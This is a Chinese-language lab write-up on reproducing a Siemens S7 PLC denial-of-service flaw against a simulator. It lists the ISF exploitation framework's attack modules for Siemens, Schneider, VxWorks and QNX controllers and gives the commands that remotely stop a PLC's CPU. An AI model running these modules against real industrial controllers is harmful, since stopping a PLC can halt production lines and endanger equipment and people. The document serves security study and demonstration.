西门子PLC 拒绝服务漏洞复现

946 阅读2分钟

漏洞介绍

西门子多款工业产品存在安全漏洞,该漏洞允许未经身份验证的远程攻击者发起拒绝服务攻击。该漏洞是由于受影响的设备对畸形数据报文处理不当引起的。攻击者可以通过向目标设备的UDP 161端口发送精心构造的SNMP数据报文来利用此漏洞,攻击成功后可能导致目标设备崩溃或变得不响应,从而导致拒绝服务。 西门子多个工控产品中存在一个远程拒绝服务漏洞。攻击者利用一个特别构造的PROFINET DCP(网络发现和配置协议)网络报文,可能导致目标设备崩溃,导致拒绝服务。

此漏洞影响西门子S7-300/400系列PLC设备以及SIMATIC HMI Multi Panels/HMI Mobile Panels。攻击者可以通过发送二层网络广播报文造成局域网内所有受影响设备拒绝服务,需要手工重启以恢复服务。PROFIBUS接口不受影响。

配置环境

由于没有现场的设备这里我们用模拟器代替,首先 S7模拟器客户端连接主机

image.png S7模拟器主机启动服务

image.png S7模拟器客户端连接成功

image.png

工具利用

ISF(Industrial Exploitation Framework),它是一款针对工业控制系统的漏洞利用框架。该工具基于开源项目routersploit,采用Python语言开发,和MetaSploit框架有些相似。

安装地址:github.com/dark-lbp/is…

环境:python2.7

常用工具模块:

攻击模块:exploits/plcs/siemens/s7_300_400_plc_control plc300/400 启动/停止

exploits/plcs/siemens/s7_1200_plc_control plc1200启动/停止

exploits/plcs/vxworks/vxworks_rpc_dos 远程DoS(CVE-2015-7599)

exploits/plcs/schneider/quantum_140_plc_control 施耐德昆腾140plc 启 动/停止

exploits/plcs/qnx/qconn_remote_exec qnx系统qconn组件远程代码执行

扫描模块:scanners/profinet-dcp-scan 工业以太网dcp协议扫描

scanners/s7comm_scan s7 comm协议扫描

西门子plc用的是S7协议这里搜索S7模块

image.png 这里我们用exploits/plcs/siemens/s7_300_400_plc_control

对S7-300/400 PLC 进行启停控制

use exploits/plcs/siemens/s7_300_400_plc_control set target 192.168.101.5 run

运行结果如下:STOP!

image.png 我的s7模拟器里cpu停止了工作就是如果这是一台实际中的设备,会导致plc控制的设备停止工作,断电等,放在制造业里损失还是不小的。